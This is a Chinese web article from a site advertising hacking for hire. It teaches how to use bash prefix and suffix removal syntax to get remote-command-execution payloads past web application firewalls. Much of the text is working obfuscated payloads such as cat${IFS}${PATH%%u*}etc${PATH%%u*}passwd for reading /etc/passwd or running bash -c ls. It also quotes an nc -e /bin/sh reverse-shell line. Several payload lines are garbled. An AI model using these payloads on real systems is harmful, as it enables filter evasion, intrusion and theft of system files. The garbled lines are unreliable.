当前位置:首页 > 黑客业务 > 正文内容

使用删除前移和后缀模式bypass waf

访客4年前 (2021-04-16)黑客业务983

一、删除前缀和后缀模式

删除前缀和后缀模式(Remove Prefix and Suffix Pattern),是一种可以通过在变量名称中使用%,%%,#或##从左或从右开始删除一部分变量值的方式,我们可以做以下一些例子。

{parameter%word}删除最小后缀模式。后缀的最小的与模式匹配部分将被删除。

TEST="test.baidu.com"; echo ${TEST%.*}

{parameter %% word}删除最大后缀模式。后缀的最大部分与模式所匹配的部分将被删除。

TEST="test.baidu.com"; echo ${TEST%%.*}

$ {parameter#word}删除最小前缀模式。删除与模式匹配的前缀的最小部分。

TEST="test.baidu.com"; echo ${TEST#*.}

$ {parameter ## word}删除最大前缀模式。前缀的最大部分与模式所匹配的参数将被删除。

TEST="test.baidu.com"; echo ${TEST##*.}

更多的此语法的用例之一是更改文件名列表上的扩展名。例如,如果我想重命名/etc中的所有*.conf文件,将其扩展名更改为.txt,那么可以使用下面的命令。

for file in $(ls -1 /etc/*.conf); do echo ${file%.*}.txt; done

二、bypass实例

通常来说,Web应用程序容易受到远程命令执行漏洞的影响,但是有一个Input Validation函数可以防止发送带有特殊字符例如使用带有类似/"'&|()-;:.,\s `] 的payload以及bash,SH,NC,bas64等常见的Unix命令的如果目标web应用程序允许字符?,,和?,那么有很多方法可以bypass并利用RCE。

通常,以下的payload都会被拦截

cat+/etc/passwd (匹配 \s 和 /) /bin/ca?+/e/ss (匹配 \s 和 /) cd${IFS}/etc;cat${IFS}passwd (匹配 /) nc+-e+/bin/sh+10.0.0.1+1234 (匹配 \s - / 和 .)

所以,是否有可能创建不需要像正斜杠,引号之类的字符并且不使用众所周知的Unix命令触发WAF的拦截规则呢?

这里想到,如果要代替使用/字符,我们可以通过使用子字符串0:1从变量的值中获取它(类似于Bash)

在上图中,将/etc/passwd的完整路径替换为。但实际上PHP的shell通常是Dash(或/ bin / sh)。而在Dash中我们无法这样执行命令。

那么我们可以使用删除前移和后缀模式语法来代替使用子字符串,这样在目标变量里

等于 /
等于 /bin
等于 /

那么为了绕过waf读取/etc/passwd里的内容,我们可以使用以下命令。

cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd

此语法取决于目标PATH变量的值。因此,如果/后的第一个字母是“ u”(类似于PATH=/usr/bin...,则应等于“ /”。例如,如果目标PATH以PATH=/home/kali/bin:...那么则应等于/,如下图所示。

这里还有一个问题,识别payload中的“ cat”,“ etc”和“ passwd”字符串,大部分waf会进行拦截。所以我们需要的使用Globbing模式来混淆我们的paylaod,我们需要完整的路径来执行带有/bin/c之类的glob模式的命令?而不是“cat”。我们可以用下面的方法

执行env并查看所有变量值

从$PATH中有${PATH##*s}的替换/bin

使用$PATH与${PATH%%u*}替换/

使用$IFS代替空格

或许你已经见过类似这种

/?/t /?/ss /?/t /?/ps

那么我们可以构造更复杂的bypasspayload

{PATH##*s}${PATH%%u*}c${IFS}${PATH%%u*}e${PATH%%u*}ss

替换如下所示

{PATH##*s} ——> /bin {PATH88u*}bin ——> /bin {PATH##*s}$ {PATH88u*}cat ——> /bin/cat {PATH##*s}${PATH88u*}c ——> /bin/cat

则上面的bypass命令对应为

{PATH##*s} ${PATH%%u*} c ${IFS} ${PATH%%u*} e ${PATH%%u*} ss
/bin / cat 空格 / etc / passwd

更多的,我们可以使用以下payload

{PATH##*s}${PATH%%u*}ca${u}t${IFS}${PATH%%u*}et${u}c${PATH%%u*}pas${u}swd

{PATH##*s}${PATH%%u*}bas${u}h${IFS}${PHP_CFLAGS%%f*}c${IFS}l${u}s

{PATH:0:1}bi?${PATH:0:1}ca?${IFS}${PATH:0:1}et?${PATH:0:1}sswd

tail${IFS}${APACHE_CONFDIR%${APACHE_CONFDIR#?}}et?${APACHE_CONFDIR%${APACHE_CONFDIR#?}}pas?wd

c${a}at${IFS}${APACHE_CONFDIR%apache2}pas${s}swd

ca${jjj}t${IFS}${APACHE_RUN_DIR%?}et${jjj}c${APACHE_RUN_DIR%?}pas${jjj}swd

c${u}at${IFS}${PHP_INI_DIR%%u*p}e${u}tc${PHP_INI_DIR%%u*p}p${u}asswd

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106557.html

分享给朋友:

“使用删除前移和后缀模式bypass waf” 的相关文章

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这 买猪肉时,根据肉的颜色、外观、气味等可以判断出肉的质量是好还是坏。优质的猪肉,脂肪白而硬,且带有香味。肉的外面往往有一层稍带干燥的膜,肉质紧密,富有弹性,手指压后凹陷处立即复原。 次鲜肉肉色较鲜肉暗,缺乏光泽,脂肪呈灰白色;表面带...

蚯蚓的市场价格 - 2020年蚯蚓收购价格

今年2020年这个价格还算是比较合理,市场价格较为平稳,当地蚯蚓批发价250元/万条,今日浙江海宁地区鲜蚯蚓批发价为17,最高可卖3元/两,每次都-是老家亳州的来回辗转的跑辛苦.货源充足,现在贩子登门收购18-222020元/斤不等。 目前价格多少钱一斤目前价格在8元一斤,是一种营养价值很高的无脊椎...

存储过程oracle(oracle财务系统)

推荐教程:甲骨文教程 本文主要介绍甲骨文中的数据转换。 1.日期转换成字符串(以2016年10月20日为例) 选择to_char(sysdate,& # 39;yyyy-mm-DD hh24:mi:ss & # 39;)strDateTime从dual-获取年-月-日:分:秒-...

马来西亚dhl国际快递查询,国际快递订单号查询官网

物流集团Deutsche Post 国际DHL旗下公司,马来西亚,大概22号左右抵达当地关口。作业程序HONG查询 KONG-HONG KONG目的地马来西亚,至于查询的话,很方便的。也可以打电话咨询,然后点击查询就会有快递信息!通过快递官网查询物流的。一直查询不到相关信息!打开DHL官网,感激不尽...

书黑客,黑客软件破解吃鸡,网站黑客攻击工具

关于较新版别的Windbg,官网已不再支撑独自下载,只能经过Windows SDK里边勾选来装置,不过装置之后Redist目录会有x64/x86/arm的装置包,也可独立装置。 此次评选活动的意图在于,在安全社区中宣扬这些技能,让职业进步对安全的注重,一起也能让这些技能能遭到认可和铭记。 因而,根据...

intense靶场-获取User权限

出品|MS08067实验室(www.ms08067.com) 本文作者:jokelove(Ms08067内网安全小组成员) Intense是HTB中一个难度中上的靶场,需要参与者具备下述能力: 1. Python源码审计 2. SQL注入原理 3. SNMP远程命令执行 4. 栈溢出...

评论列表

鸽吻苍阶
2年前 (2022-07-03)

etc;cat${IFS}passwd (匹配 /)nc+-e+/bin/sh+10.0.0.1+1234 (匹配 \s - / 和 .)所以,是否有可能创建不需要像正斜杠,引号之类的字符并且不使用众所周知的Unix命令触

澄萌咽渡
2年前 (2022-07-03)

发送带有特殊字符例如使用带有类似/"'&|()-;:.,\s `] 的payload以及bash,SH,NC,bas64等常见的Unix命令的如果目标web应用程序允许字符?,,和?,那么有很多方法可以bypa

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。